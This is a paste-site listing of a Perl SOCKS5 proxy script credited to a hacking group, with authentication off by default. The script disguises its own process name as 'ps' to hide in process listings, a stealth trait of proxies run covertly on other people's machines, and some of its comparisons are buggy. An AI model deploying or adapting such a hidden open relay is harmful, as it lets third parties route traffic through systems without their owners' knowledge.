Private Perl Socks Proxy Script


SUBMITTED BY: Guest

DATE: May 20, 2015, 5:43 p.m.

FORMAT: Text only

SIZE: 5.7 kB

HITS: 805

  1. #!/usr/bin/perl
  2. # Satanic Socks Server v0.8.031206-perl Modified by t0pP8uZz
  3. # This script is private. Only for SaTaNiC team and friends. Not for sale.
  4. # Coded by drmist/STNC, web: www.stnc.ru.
  5. # Satanic Socks Server Modified by t0pP8uZz
  6. # Thanks xprog for getting ahold of this.
  7. $process = "ps";
  8. $auth_enabled = 0;
  9. $auth_login = "";
  10. $auth_pass = "";
  11. $port = 10103;
  12. use IO::Socket::INET;
  13. $SIG{'CHLD'} = 'IGNORE';
  14. $bind = IO::Socket::INET->new(Listen=>10, Reuse=>1, LocalPort=>$port) or die "Can't bind port $port\n";
  15. $0="$process"."\0"x16;;
  16. while($client = $bind->accept()) {
  17. $client->autoflush();
  18. if(fork()){ $client->close(); }
  19. else { $bind->close(); new_client($client); exit(); }
  20. }
  21. sub new_client {
  22. local $t, $i, $buff, $ord, $success;
  23. local $client = $_[0];
  24. sysread($client, $buff, 1);
  25. if(ord($buff) == 5) {
  26. sysread($client, $buff, 1);
  27. $t = ord($buff);
  28. unless(sysread($client, $buff, $t) == $t) { return; }
  29. $success = 0;
  30. for($i = 0; $i < $t; $i++) {
  31. $ord = ord(substr($buff, $i, 1));
  32. if($ord == 0 && !$auth_enabled) {
  33. syswrite($client, "\x05\x00", 2);
  34. $success++;
  35. break;
  36. }
  37. elsif($ord == 2 && $auth_enabled) {
  38. unless(do_auth($client)){ return; }
  39. $success++;
  40. break;
  41. }
  42. }
  43. if($success) {
  44. $t = sysread($client, $buff, 3);
  45. if(substr($buff, 0, 1) == '\x05') {
  46. if(ord(substr($buff, 2, 1)) == 0) { # reserved
  47. ($host, $raw_host) = socks_get_host($client);
  48. if(!$host) { return; }
  49. ($port, $raw_port) = socks_get_port($client);
  50. if(!$port) { return; }
  51. $ord = ord(substr($buff, 1, 1));
  52. $buff = "\x05\x00\x00".$raw_host.$raw_port;
  53. syswrite($client, $buff, length($buff));
  54. socks_do($ord, $client, $host, $port);
  55. }
  56. }
  57. } else { syswrite($client, "\x05\xFF", 2); };
  58. }
  59. $client->close();
  60. }
  61. sub do_auth {
  62. local $buff, $login, $pass;
  63. local $client = $_[0];
  64. syswrite($client, "\x05\x02", 2);
  65. sysread($client, $buff, 1);
  66. if(ord($buff) == 1) {
  67. sysread($client, $buff, 1);
  68. sysread($client, $login, ord($buff));
  69. sysread($client, $buff, 1);
  70. sysread($client, $pass, ord($buff));
  71. if($login eq $auth_login && $pass eq $auth_pass) {
  72. syswrite($client, "\x05\x00", 2);
  73. return 1;
  74. } else { syswrite($client, "\x05\x01", 2); }
  75. }
  76. $client->close();
  77. return 0;
  78. }
  79. sub socks_get_host {
  80. local $client = $_[0];
  81. local $t, $ord, $raw_host;
  82. local $host = "";
  83. sysread($client, $t, 1);
  84. $ord = ord($t);
  85. if($ord == 1) {
  86. sysread($client, $raw_host, 4);
  87. @host = $raw_host =~ /(.)/g;
  88. $host = ord($host[0]).".".ord($host[1]).".".ord($host[2]).".".ord($host[3]);
  89. } elsif($ord == 3) {
  90. sysread($client, $raw_host, 1);
  91. sysread($client, $host, ord($raw_host));
  92. $raw_host .= $host;
  93. } elsif($ord == 4) {
  94. #ipv6 - not supported
  95. }
  96. return ($host, $t.$raw_host);
  97. }
  98. sub socks_get_port {
  99. local $client = $_[0];
  100. local $raw_port, $port;
  101. sysread($client, $raw_port, 2);
  102. $port = ord(substr($raw_port, 0, 1)) << 8 | ord(substr($raw_port, 1, 1));
  103. return ($port, $raw_port);
  104. }
  105. sub socks_do {
  106. local($t, $client, $host, $port) = @_;
  107. if($t == 1) { socks_connect($client, $host, $port); }
  108. elsif($t == 2) { socks_bind($client, $host, $port); }
  109. elsif($t == 3) { socks_udp_associate($client, $host, $port); }
  110. else { return 0; }
  111. return 1;
  112. }
  113. # this part of code was taken from datapipe.pl utility,
  114. # written by CuTTer (cutter[at]real.xakep.ru)
  115. # utility lays on cpan.org
  116. sub socks_connect {
  117. my($client, $host, $port) = @_;
  118. my $target = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp', Type => SOCK_STREAM);
  119. unless($target) { return; }
  120. $target->autoflush();
  121. while($client || $target) {
  122. my $rin = "";
  123. vec($rin, fileno($client), 1) = 1 if $client;
  124. vec($rin, fileno($target), 1) = 1 if $target;
  125. my($rout, $eout);
  126. select($rout = $rin, undef, $eout = $rin, 120);
  127. if (!$rout && !$eout) { return; }
  128. my $cbuffer = "";
  129. my $tbuffer = "";
  130. if ($client && (vec($eout, fileno($client), 1) || vec($rout, fileno($client), 1))) {
  131. my $result = sysread($client, $tbuffer, 1024);
  132. if (!defined($result) || !$result) { return; }
  133. }
  134. if ($target && (vec($eout, fileno($target), 1) || vec($rout, fileno($target), 1))) {
  135. my $result = sysread($target, $cbuffer, 1024);
  136. if (!defined($result) || !$result) { return; }
  137. }
  138. if ($fh && $tbuffer) { print $fh $tbuffer; }
  139. while (my $len = length($tbuffer)) {
  140. my $res = syswrite($target, $tbuffer, $len);
  141. if ($res > 0) { $tbuffer = substr($tbuffer, $res); } else { return; }
  142. }
  143. while (my $len = length($cbuffer)) {
  144. my $res = syswrite($client, $cbuffer, $len);
  145. if ($res > 0) { $cbuffer = substr($cbuffer, $res); } else { return; }
  146. }
  147. }
  148. }
  149. sub socks_bind {
  150. my($client, $host, $port) = @_;
  151. # not supported
  152. }
  153. sub socks_udp_associate {
  154. my($client, $host, $port) = @_;
  155. # not supported
  156. }

comments powered by Disqus